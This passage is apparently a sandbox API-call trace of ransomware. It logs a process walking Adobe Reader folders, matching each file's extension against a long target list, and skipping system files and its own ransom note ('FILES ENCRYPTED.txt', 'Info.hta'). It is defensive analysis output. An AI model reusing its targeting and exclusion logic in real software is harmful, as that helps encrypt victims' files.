	[0174.731] lstrlenW (lpString=".ai5") returned 4
	[0174.731] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0174.731] lstrlenW (lpString=".ai6") returned 4
	[0174.731] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0174.731] lstrlenW (lpString=".ai7") returned 4
	[0174.731] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0174.731] lstrlenW (lpString=".ai8") returned 4
	[0174.731] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0174.731] lstrlenW (lpString=".anim") returned 5
	[0174.731] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0174.731] lstrlenW (lpString=".arw") returned 4
	[0174.731] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0174.731] lstrlenW (lpString=".as") returned 3
	[0174.732] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0174.732] lstrlenW (lpString=".asa") returned 4
	[0174.732] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0174.732] lstrlenW (lpString=".asc") returned 4
	[0174.732] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0174.732] lstrlenW (lpString=".ascx") returned 5
	[0174.732] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0174.732] lstrlenW (lpString=".asm") returned 4
	[0174.732] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0174.732] lstrlenW (lpString=".asmx") returned 5
	[0174.732] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0174.732] lstrlenW (lpString=".asp") returned 4
	[0174.732] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0174.732] lstrlenW (lpString=".aspx") returned 5
	[0174.732] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0174.732] lstrlenW (lpString=".asr") returned 4
	[0174.732] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0174.732] lstrlenW (lpString=".asx") returned 4
	[0174.732] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0174.732] lstrlenW (lpString=".avi") returned 4
	[0174.732] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0174.732] lstrlenW (lpString=".avs") returned 4
	[0174.732] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0174.732] lstrlenW (lpString=".backup") returned 7
	[0174.732] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0174.732] lstrlenW (lpString=".bak") returned 4
	[0174.732] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0174.732] lstrlenW (lpString=".bay") returned 4
	[0174.732] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0174.733] lstrlenW (lpString=".bd") returned 3
	[0174.733] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0174.733] lstrlenW (lpString=".bin") returned 4
	[0174.733] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0174.733] lstrlenW (lpString=".bmp") returned 4
	[0174.733] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0174.733] lstrlenW (lpString=".bz2") returned 4
	[0174.733] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0174.733] lstrlenW (lpString=".c") returned 2
	[0174.733] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0174.733] lstrlenW (lpString=".cdr") returned 4
	[0174.733] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0174.733] lstrlenW (lpString=".cer") returned 4
	[0174.733] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0174.733] lstrlenW (lpString=".cf") returned 3
	[0174.733] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0174.733] lstrlenW (lpString=".cfc") returned 4
	[0174.733] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0174.733] lstrlenW (lpString=".cfm") returned 4
	[0174.733] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0174.733] lstrlenW (lpString=".cfml") returned 5
	[0174.733] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0174.733] lstrlenW (lpString=".cfu") returned 4
	[0174.733] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0174.733] lstrlenW (lpString=".chm") returned 4
	[0174.733] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0174.733] lstrlenW (lpString=".cin") returned 4
	[0174.733] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0174.733] lstrlenW (lpString=".class") returned 6
	[0174.733] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0174.733] lstrlenW (lpString=".clx") returned 4
	[0174.733] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0174.733] lstrlenW (lpString=".config") returned 7
	[0174.733] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0174.733] lstrlenW (lpString=".cpp") returned 4
	[0174.734] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0174.734] lstrlenW (lpString=".cr2") returned 4
	[0174.734] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0174.734] lstrlenW (lpString=".crt") returned 4
	[0174.734] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0174.734] lstrlenW (lpString=".crw") returned 4
	[0174.734] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0174.734] lstrlenW (lpString=".cs") returned 3
	[0174.734] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0174.734] lstrlenW (lpString=".css") returned 4
	[0174.734] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0174.734] lstrlenW (lpString=".csv") returned 4
	[0174.734] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0174.734] lstrlenW (lpString=".cub") returned 4
	[0174.734] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0174.734] lstrlenW (lpString=".dae") returned 4
	[0174.734] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0174.734] lstrlenW (lpString=".dat") returned 4
	[0174.734] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0174.734] lstrlenW (lpString=".db") returned 3
	[0174.734] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0174.734] lstrlenW (lpString=".dbf") returned 4
	[0174.734] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0174.734] lstrlenW (lpString=".dbx") returned 4
	[0174.734] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0174.734] lstrlenW (lpString=".dc3") returned 4
	[0174.734] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0174.734] lstrlenW (lpString=".dcm") returned 4
	[0174.734] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0174.734] lstrlenW (lpString=".dcr") returned 4
	[0174.735] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0174.735] lstrlenW (lpString=".der") returned 4
	[0174.735] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0174.735] lstrlenW (lpString=".dib") returned 4
	[0174.735] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0174.735] lstrlenW (lpString=".dic") returned 4
	[0174.735] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0174.735] lstrlenW (lpString=".dif") returned 4
	[0174.735] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0174.735] lstrlenW (lpString=".divx") returned 5
	[0174.735] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0174.735] lstrlenW (lpString=".djvu") returned 5
	[0174.735] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0174.735] lstrlenW (lpString=".dng") returned 4
	[0174.735] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0174.735] lstrlenW (lpString=".doc") returned 4
	[0174.735] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0174.735] lstrlenW (lpString=".docm") returned 5
	[0174.735] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0174.735] lstrlenW (lpString=".docx") returned 5
	[0174.735] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0174.735] lstrlenW (lpString=".dot") returned 4
	[0174.735] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0174.735] lstrlenW (lpString=".dotm") returned 5
	[0174.735] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0174.735] lstrlenW (lpString=".dotx") returned 5
	[0174.735] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0174.735] lstrlenW (lpString=".dpx") returned 4
	[0174.735] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0174.735] lstrlenW (lpString=".dqy") returned 4
	[0174.735] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0174.735] lstrlenW (lpString=".dsn") returned 4
	[0174.735] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0174.735] lstrlenW (lpString=".dt") returned 3
	[0174.736] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0174.736] lstrlenW (lpString=".dtd") returned 4
	[0174.736] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0174.736] lstrlenW (lpString=".dwg") returned 4
	[0174.736] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0174.736] lstrlenW (lpString=".dwt") returned 4
	[0174.736] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0174.736] lstrlenW (lpString=".dx") returned 3
	[0174.736] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0174.736] lstrlenW (lpString=".dxf") returned 4
	[0174.736] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0174.736] lstrlenW (lpString=".edml") returned 5
	[0174.736] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0174.736] lstrlenW (lpString=".efd") returned 4
	[0174.736] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0174.736] lstrlenW (lpString=".elf") returned 4
	[0174.736] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0174.736] lstrlenW (lpString=".emf") returned 4
	[0174.736] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0174.736] lstrlenW (lpString=".emz") returned 4
	[0174.736] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0174.736] lstrlenW (lpString=".epf") returned 4
	[0174.736] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1
	[0174.736] lstrlenW (lpString=".eps") returned 4
	[0174.736] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1
	[0174.736] lstrlenW (lpString=".epsf") returned 5
	[0174.736] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1
	[0174.736] lstrlenW (lpString=".epsp") returned 5
	[0174.736] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1
	[0174.736] lstrlenW (lpString=".erf") returned 4
	[0174.736] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1
	[0174.736] lstrlenW (lpString=".exr") returned 4
	[0174.736] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1
	[0174.736] lstrlenW (lpString=".f4v") returned 4
	[0174.737] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1
	[0174.737] lstrlenW (lpString=".fido") returned 5
	[0174.737] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1
	[0174.737] lstrlenW (lpString=".flm") returned 4
	[0174.737] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1
	[0174.737] lstrlenW (lpString=".flv") returned 4
	[0174.737] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1
	[0174.737] lstrlenW (lpString=".frm") returned 4
	[0174.737] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1
	[0174.737] lstrlenW (lpString=".fxg") returned 4
	[0174.737] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1
	[0174.737] lstrlenW (lpString=".geo") returned 4
	[0174.737] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1
	[0174.737] lstrlenW (lpString=".gif") returned 4
	[0174.737] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1
	[0174.737] lstrlenW (lpString=".grs") returned 4
	[0174.737] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1
	[0174.737] lstrlenW (lpString=".gz") returned 3
	[0174.737] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1
	[0174.737] lstrlenW (lpString=".h") returned 2
	[0174.737] lstrcmpiW (lpString1=".h", lpString2="js") returned -1
	[0174.737] lstrlenW (lpString=".hdr") returned 4
	[0174.737] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1
	[0174.737] lstrlenW (lpString=".hpp") returned 4
	[0174.737] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1
	[0174.737] lstrlenW (lpString=".hta") returned 4
	[0174.737] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1
	[0174.737] lstrlenW (lpString=".htc") returned 4
	[0174.737] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1
	[0174.737] lstrlenW (lpString=".htm") returned 4
	[0174.737] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1
	[0174.737] lstrlenW (lpString=".html") returned 5
	[0174.737] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1
	[0174.737] lstrlenW (lpString=".icb") returned 4
	[0174.737] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1
	[0174.738] lstrlenW (lpString=".ics") returned 4
	[0174.738] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1
	[0174.738] lstrlenW (lpString=".iff") returned 4
	[0174.738] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1
	[0174.738] lstrlenW (lpString=".inc") returned 4
	[0174.738] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1
	[0174.738] lstrlenW (lpString=".indd") returned 5
	[0174.738] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1
	[0174.738] lstrlenW (lpString=".ini") returned 4
	[0174.738] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1
	[0174.738] lstrlenW (lpString=".iqy") returned 4
	[0174.738] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1
	[0174.738] lstrlenW (lpString=".j2c") returned 4
	[0174.738] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1
	[0174.738] lstrlenW (lpString=".j2k") returned 4
	[0174.738] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1
	[0174.738] lstrlenW (lpString=".java") returned 5
	[0174.738] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1
	[0174.738] lstrlenW (lpString=".jp2") returned 4
	[0174.738] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1
	[0174.738] lstrlenW (lpString=".jpc") returned 4
	[0174.738] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1
	[0174.738] lstrlenW (lpString=".jpe") returned 4
	[0174.738] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1
	[0174.738] lstrlenW (lpString=".jpeg") returned 5
	[0174.738] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1
	[0174.738] lstrlenW (lpString=".jpf") returned 4
	[0174.738] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1
	[0174.738] lstrlenW (lpString=".jpg") returned 4
	[0174.738] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1
	[0174.738] lstrlenW (lpString=".jpx") returned 4
	[0174.738] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1
	[0174.738] lstrlenW (lpString=".js") returned 3
	[0174.738] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0
	[0174.738] lstrlenW (lpString="ui-strings.js") returned 13
	[0174.739] lstrlenW (lpString=".GTF") returned 4
	[0174.739] lstrcmpiW (lpString1=".GTF", lpString2="s.js") returned -1
	[0174.739] lstrlenW (lpString="ui-strings.js") returned 13
	[0174.739] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1
	[0174.739] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1
	[0174.739] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1
	[0174.739] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1
	[0174.739] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1
	[0174.739] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1
	[0174.739] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1
	[0174.739] lstrcmpiW (lpString1="fvppjh.exe", lpString2="ui-strings.js") returned -1
	[0174.739] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\ui-strings.js") returned 133
	[0174.739] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x593, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0
	[0174.739] FindClose (in: hFindFile=0x4140a18 | out: hFindFile=0x4140a18) returned 1
	[0174.739] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.739] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0174.739] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it") returned 119
	[0174.739] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it") returned 1
	[0174.739] lstrlenW (lpString="it-it") returned 5
	[0174.739] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="it-it") returned -1
	[0174.739] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x42c29b8
	[0174.739] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it") returned 119
	[0174.739] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\it-it\\*", lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140a18
	[0174.740] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0174.740] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0174.740] lstrlenW (lpString="ui-strings.js") returned 13
	[0174.740] lstrlenW (lpString=".1cd") returned 4
	[0174.740] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0174.740] lstrlenW (lpString=".3ds") returned 4
	[0174.740] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0174.740] lstrlenW (lpString=".3fr") returned 4
	[0174.740] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0174.740] lstrlenW (lpString=".3g2") returned 4
	[0174.740] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0174.740] lstrlenW (lpString=".3gp") returned 4
	[0174.740] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0174.740] lstrlenW (lpString=".7z") returned 3
	[0174.740] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0174.740] lstrlenW (lpString=".accda") returned 6
	[0174.740] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0174.740] lstrlenW (lpString=".accdb") returned 6
	[0174.741] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0174.741] lstrlenW (lpString=".accdc") returned 6
	[0174.741] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0174.741] lstrlenW (lpString=".accde") returned 6
	[0174.741] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0174.741] lstrlenW (lpString=".accdt") returned 6
	[0174.741] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0174.741] lstrlenW (lpString=".accdw") returned 6
	[0174.741] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0174.741] lstrlenW (lpString=".adb") returned 4
	[0174.741] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0174.741] lstrlenW (lpString=".adp") returned 4
	[0174.741] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0174.741] lstrlenW (lpString=".ai") returned 3
	[0174.741] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0174.741] lstrlenW (lpString=".ai3") returned 4
	[0174.741] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0174.741] lstrlenW (lpString=".ai4") returned 4
	[0174.741] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0174.741] lstrlenW (lpString=".ai5") returned 4
	[0174.741] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0174.741] lstrlenW (lpString=".ai6") returned 4
	[0174.741] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0174.741] lstrlenW (lpString=".ai7") returned 4
	[0174.741] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0174.741] lstrlenW (lpString=".ai8") returned 4
	[0174.741] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0174.741] lstrlenW (lpString=".anim") returned 5
	[0174.741] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0174.741] lstrlenW (lpString=".arw") returned 4
	[0174.741] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0174.741] lstrlenW (lpString=".as") returned 3
	[0174.741] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0174.741] lstrlenW (lpString=".asa") returned 4
	[0174.742] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0174.742] lstrlenW (lpString=".asc") returned 4
	[0174.742] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0174.742] lstrlenW (lpString=".ascx") returned 5
	[0174.742] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0174.742] lstrlenW (lpString=".asm") returned 4
	[0174.742] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0174.742] lstrlenW (lpString=".asmx") returned 5
	[0174.742] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0174.742] lstrlenW (lpString=".asp") returned 4
	[0174.742] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0174.742] lstrlenW (lpString=".aspx") returned 5
	[0174.742] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0174.742] lstrlenW (lpString=".asr") returned 4
	[0174.742] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0174.742] lstrlenW (lpString=".asx") returned 4
	[0174.742] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0174.742] lstrlenW (lpString=".avi") returned 4
	[0174.742] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0174.742] lstrlenW (lpString=".avs") returned 4
	[0174.742] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0174.742] lstrlenW (lpString=".backup") returned 7
	[0174.742] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0174.742] lstrlenW (lpString=".bak") returned 4
	[0174.742] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0174.742] lstrlenW (lpString=".bay") returned 4
	[0174.742] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0174.742] lstrlenW (lpString=".bd") returned 3
	[0174.742] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0174.743] lstrlenW (lpString=".bin") returned 4
	[0174.743] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0174.743] lstrlenW (lpString=".bmp") returned 4
	[0174.743] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0174.743] lstrlenW (lpString=".bz2") returned 4
	[0174.743] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0174.743] lstrlenW (lpString=".c") returned 2
	[0174.743] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0174.743] lstrlenW (lpString=".cdr") returned 4
	[0174.743] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0174.743] lstrlenW (lpString=".cer") returned 4
	[0174.743] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0174.743] lstrlenW (lpString=".cf") returned 3
	[0174.743] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0174.743] lstrlenW (lpString=".cfc") returned 4
	[0174.743] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0174.743] lstrlenW (lpString=".cfm") returned 4
	[0174.743] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0174.743] lstrlenW (lpString=".cfml") returned 5
	[0174.743] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0174.743] lstrlenW (lpString=".cfu") returned 4
	[0174.743] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0174.743] lstrlenW (lpString=".chm") returned 4
	[0174.743] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0174.743] lstrlenW (lpString=".cin") returned 4
	[0174.743] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0174.743] lstrlenW (lpString=".class") returned 6
	[0174.743] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0174.743] lstrlenW (lpString=".clx") returned 4
	[0174.743] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0174.743] lstrlenW (lpString=".config") returned 7
	[0174.743] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0174.743] lstrlenW (lpString=".cpp") returned 4
	[0174.743] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0174.744] lstrlenW (lpString=".cr2") returned 4
	[0174.744] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0174.744] lstrlenW (lpString=".crt") returned 4
	[0174.744] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0174.744] lstrlenW (lpString=".crw") returned 4
	[0174.744] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0174.744] lstrlenW (lpString=".cs") returned 3
